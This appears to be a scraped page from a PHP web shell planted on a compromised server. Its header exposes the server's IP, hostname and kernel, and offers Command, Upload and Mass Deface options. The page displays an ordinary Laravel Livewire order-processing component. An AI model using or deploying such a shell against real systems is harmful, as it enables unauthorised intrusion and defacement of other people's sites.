���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
app
/
Livewire
/
Admin
/
Pages
/
ProcessManagement
/
All
/
Viewing: Table.php
<?php namespace App\Livewire\Admin\Pages\ProcessManagement\All; use App\Events\PrepareOrderForProcess; use App\Events\PrepareSheetForProcess; use App\Models\Order; use App\Models\ProcessBot; use Carbon\Carbon; use Illuminate\Support\Facades\Redis; use Livewire\Component; use Livewire\WithPagination; use App\Models\OrderGroup; use Masmerise\Toaster\Toastable; class Table extends Component { use WithPagination; use Toastable; public $search = ''; public $activeTab = 'pending'; public array $existsIds = []; protected $queryString = [ 'activeTab' => ['except' => 'pending'] ]; public function render() { $this->getProccessingOrderSheetsExistsIds(); $successfulTasks = OrderGroup::where('updated_at', '>=', Carbon::now()->subHours(24)->format('Y-m-d')) ->where(function ($query) { $query->whereNotNull('cut_master_pdf') ->orWhereNotNull('win_cam_pdf') ->orWhereNotNull('opticut_file'); }) ->orderBy('updated_at', 'desc') ->get(); $unprocessableTasks = OrderGroup::where('created_at', '>=', Carbon::now()->subDays(120)) ->where(function ($query) { $query->where('panel_height', 0) ->orWhere('panel_width', 0) ->orWhere('slice_count', 0); }) ->orWhere(function ($query) { $query->whereDoesntHave('slices'); }) ->orWhere(function ($query) { $query->WhereHasSliceWithSameSize(); }) ->orderBy('created_at', 'desc') ->paginate(20, ['*'], 'unprocessable-page'); $pendingTasks = OrderGroup::whereHas('slices') ->where('panel_height', '>', 0) ->where('panel_width', '>', 0) ->where('created_at', '>=', Carbon::now()->subDays(120)) ->where(function ($query) { $query->whereNull('cut_master_pdf') ->orWhereNull('win_cam_pdf') ->orWhereNull('opticut_file'); }) ->whereNotIn('id', $this->existsIds) ->orderBy('created_at', 'desc') ->paginate(20, ['*'], 'pending-page'); return view('livewire.admin.pages.process-management.all.table', [ 'unprocessableTasks' => $unprocessableTasks, 'pendingTasks' => $pendingTasks, 'successfulTasks' => $successfulTasks]); } public function sendSheetToBot(OrderGroup $orderGroup) { event(new PrepareSheetForProcess($orderGroup)); $this->success('ورق مورد نظر با موفقیت به صف پردازش ارسال شد'); } public function sendOrderToBot(Order $order) { event(new PrepareOrderForProcess($order)); $this->success('سفارش مورد نظر با موفقیت به صف پردازش ارسال شد'); } public function getProccessingOrderSheetsExistsIds() { $existsIds = []; $botsCount = ProcessBot::OnlyAutomation()->get()->count(); for ($i = 1; $i <= $botsCount; $i++) { $botQueueItems = Redis::lrange('opticut_queues:bot' . $i, 0, -1); foreach ($botQueueItems as $key => $item) { try { $existsIds[] = json_decode($item, true, 512, JSON_THROW_ON_ERROR)['order_sheet_id']; } catch (\JsonException $e) { throw $e; } } } $this->existsIds = $existsIds; } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa